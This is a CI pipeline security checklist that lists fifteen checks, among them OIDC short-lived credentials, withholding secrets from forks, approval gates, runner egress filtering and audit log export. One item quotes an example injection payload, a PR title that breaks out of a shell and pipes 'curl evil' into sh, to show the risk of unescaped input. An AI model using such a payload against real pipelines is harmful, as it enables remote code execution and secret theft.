Before deploymentci-pipeline-security

CI Pipeline Security Checklist

15 items ·10 critical ·5 warn ·0 info

How to use this checklist

This is the gate a CI pipeline must pass before it can talk to production systems. It is not about whether the pipeline builds correctly — it is about whether the pipeline is the kind of thing that should be allowed to talk to production at all.

A pipeline that fails any item here should be considered untrusted, regardless of who runs it. The fixes are platform configuration changes (OIDC, environment rules, scoped tokens), not afterthoughts applied to a working pipeline.

Sign-off

Every critical item must pass. A failing critical item blocks the pipeline from being granted production credentials or environments; it is not a note for later. Record the date, the reviewer, and the disposition of every item that did not pass.

Critical10 items

Pipelines are defined in version-controlled files (`.github/workflows/`, `.gitlab-ci.yml`, `Jenkinsfile`, `tekton/*.yaml`) at the repository root. There is no "shadow" pipeline defined in the UI without a code equivalent.
Production-bound jobs do not run on default shared infrastructure with implicit trust. Sensitive jobs use self-hosted, ephemeral, or hardened runners whose network egress is locked down.
Pipelines triggered from forks do not have access to production secrets, deploy keys, or OIDC tokens. The pipeline definition explicitly scopes `permissions:` and excludes secrets from `pull_request_target` events.
Long-lived cloud credentials do not exist in CI. The pipeline exchanges an OIDC token for short-lived cloud credentials (AWS, GCP, Azure, Vault) at the moment of use. No static AWS_ACCESS_KEY_ID, AZURE_CLIENT_SECRET, or GCP service-account key is stored in CI secrets.
```
grep -RIn -E "(AWS_ACCESS_KEY_ID|AWS_SECRET_ACCESS_KEY|GOOGLE_APPLICATION_CREDENTIALS|AZURE_CLIENT_SECRET)" .github/ .gitlab-ci.yml 2>/dev/null | grep -v "example" || echo "no long-lived cloud creds in pipeline"
```
CI secret masking is enabled, but the team treats masking as a defence in depth, not a guarantee: pipeline steps that might log secrets use `set +x`/explicit redaction, and pull-request forks never receive real secrets.
CI environments (`production`, `staging`, `dev`) are configured at the platform level with named secrets and required reviewers. A job targeting production cannot deploy without a reviewer approving the run.
Every secret and token in CI is scoped to the smallest possible set of repositories, environments, and actions. A token that works across many repos is a token that leaks across many repos.
CI audit logs (workflow runs, who triggered them, who approved, what was deployed) are exported off-platform to a place where they outlive the CI account. A deleted CI account should not delete the audit trail of what it deployed.
Public/shared runners do not have access to private repositories, deploy keys, or production secrets. Pipelines that must use shared runners route those workloads through a self-hosted pool.
No pipeline step interpolates untrusted input (`${ github.event.pull_request.title }`, `${ github.event.comment.body }`) into shell, eval, or a curl URL without escaping. A PR title of `"; curl evil | sh; #` is not a deploy vector.

Warning5 items

Deploys do not happen via "Run workflow" buttons in the UI for production environments without an approval gate. Manual dispatch is reserved for break-glass and is logged with the actor identity.
Production-bound runners can reach only the registries, secret stores, and APIs they need. Egress is filtered at the runner or VPC level, and the allowed destination list is documented.
CI artifact retention is set to the minimum the team needs (commonly 90 days). Production-bound build logs are exported to long-term storage before the retention window expires.
The use of break-glass credentials, override variables, and `workflow_dispatch` against production is logged and reviewed weekly. The list of people who can dispatch production is itself a checklist item, not a permanent grant.
Every change to a repository's production-relevant paths triggers a pipeline. A path filter that excludes production manifests from CI is itself a critical finding, not a tuning knob.